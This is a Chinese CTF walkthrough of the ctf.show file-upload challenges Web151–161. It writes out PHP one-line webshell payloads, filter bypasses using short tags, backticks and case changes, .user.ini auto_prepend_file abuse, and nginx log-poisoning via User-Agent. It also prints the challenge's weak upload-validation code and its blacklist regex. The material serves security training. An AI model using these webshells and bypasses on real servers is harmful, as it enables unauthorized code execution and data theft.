What is Upload-File?
顾名思义就是给网上传文件,比如qq空间
上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器
恶意代码文件就是php asp aspx jsp等,也被称为webshell
Upload-File In CTF
Web151
考点:前端校验
解题:
进来之后很明显一个上传点 并且给出提示
直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止
故为白名单检测 只能上传png后缀格式
于是构造一句话木马放到图片中上传
GIF89a<?php eval($_POST['a']);?>
1
抓包,想要把php的内容解析 需要把后缀修改
在抓包的这一块已经绕过了前端验证
修改 发送 上传成功
得到图片的路径/upload/upload.php
一定注意是php后缀 因为修改过 上传的就是php后缀的文件
法1 : 直接rce
法2 : 中国蚁剑
密码是我们一句话木马里面的参数a
连接成功
Web152
考点:后端校验要严密
解题:
这里和上一题一样 就能打通 但是思考一下题目 为什么说后端验证要严格呢
这里我们重新构造了一个一句话木马图片不加前缀GIF89a
好吧 效果是一样的hhh
本来我以为与Content-Type有关
image/png
image/gif
jpg image/jpeg
然鹅并没有 OK 解决 下一题
Web153
考点:后端校验 配置文件介绍
解题:
再上传一个png 改后缀为php 好!寄
可以看到msg没有正常显示位置 上传失败
所以我们使用配置文件去解析一下,配置文件有两个 下面分别介绍一下
Reference1
.user.ini
在nginx或者Apache服务中都可以使用
利用条件:open_basedir没有被限制
利用函数:auto_append_file 、 auto_prepend_file
利用原理:使用该配置文件可以让所有php文件自动包含某个文件
解释两个函数:
auto_append_file : 在加载打开的php文件的第一行代码之后加载配置指定的php文件
auto_prepend_file : 在加载打开的php文件的第一行代码之前加载配置指定的php文件
利用过程:
上传一句话木马图片
上传配置文件
找到目标服务器任意的php进行访问 会触发我们的配置文件
.htaccess
只能在Apache使用
那我们先探测一下 这个网址的服务是什么
在kali里面直接whatweb
┌──(kali㉿kali)-[~]
└─$ whatweb http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/
http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/ [200 OK] Country[CHINA][CN], HTML5, HTTPServer[nginx/1.20.1], IP[124.223.158.81], JQuery[3.2.1], PHP[7.3.11], Script, Title[CTFshow-web入门], X-Powered-By[PHP/7.3.11], nginx[1.20.1]
1
2
3
发现是nginx 所以使用第一个配置文件
先上传我们一句话木马构造的png文件 不用抓包了 就直接上传即可
然后 想办法上传配置文件
先上传一个正常的png后缀 否则过不了前端 抓包 修改名字和内容
然后在upload目录下尝试index.php 确实存在 访问则会触发配置文件
Web154
考点:后端内容校验 大小写绕过
解题:
上传png文件 发现对内容有检测
先大小写绕过试试
成功
上传配置文件
拿到flag
Web155
考点:后端内容校验 短标签绕过
解题:
大小写绕过失效 改为短标签
<?php echo 1; ?> 正常写法
<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';
<?= phpinfo();?>
<% echo 1; %> asp 风格写法
<script language="php"> echo 1; </script> 长标签写法
1
2
3
4
5
6
7
8
9
参考
直接在上面的包里修改上传即可
拿到flag
Web156
考点:后端内容校验 中括号 符号绕过
解题:
中括号被限制了
使用大括号绕过
我们要来看看源码学习一下 用蚁剑连接一下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Web157、158
考点:后端内容校验 大括号 符号绕过
解题:
这次大括号也被ban了 所以不使用一句话木马 而是直接rce 注意嗷!分号也被ban了 直接删除即可
<? exec('cat ../f* > myflag.txt')?>
1
解释一下命令语句:
system : 输出并返回最后一行的shell结果
exec :不输出结果 返回最后一行shell的结果 所有结果可以保存到一个返回的数组里面
passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上
在我们的payload中 使用>可以把结果自定义存储到myflag.txt文件中
触发
查看:注意是在upload目录下
也可以直接使用system
Web159
考点:后端内容校验 小括号 符号绕过
解题:
仍然在前端有限制 只能上传png后缀的文件
所以首先通过png后缀的图片写马
发现小括号被过滤了,绕过的方法就是 ` 反引号去代替绕过
两种写马的方法:
写入到文件中 用 > 进行定向
<? `cat ../f* > myflag.txt` ?>
1
直接使用echo进行显示
<? echo `tac ../f*` ?>
1
然后通过配置文件.user.ini去解析php
Web160
考点:后端内容校验 强限制 日志文件包含利用
解题:
首先要介绍一下php中include函数:
在php代码的进行过程中,遇到include函数就去跳转到包含的文件中进行读取,并显示在输出中,如果是php代码,会自动解析,如果不是,则单纯以文本的方式显示,示例如下:
<?php
include('1.txt')?>
1
2
然后回到这个题目中我们发现,反引号和空格全部被过滤了,通过单一的上传时无法实现的,所以我们采用对日志的利用。
那么日志记录的是什么呢,查看了一下本地的access.log文件
发现记录的有User-Agent字段里面的内容
所以我们把一句话木马放到User-Agent字段中进行写入到日志中,然后通过include的函数,触发解析日志中的一句话木马
<?include"/var/l"."og/nginx/access.lo"."g"?>
1
到此成功上传png文件,但是请注意两点,一个是对log有过滤,对于字符串的过滤我们将他隔开即可
第二个是需要作为php语句进行解析,所以还是需要使用.user.ini
然后进行触发
进行连接,注意两点,一是url要加头,二是连到index.php
源码一贴,学习一下验证思想:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content)){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Web161
考点:文件头检测
解题:
上题的payload上传失败
给png添加幻术,加文件头GIF89a?
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/70042400/viewspace-3055042/ ,如需转载,请注明出处,否则将追究法律责任。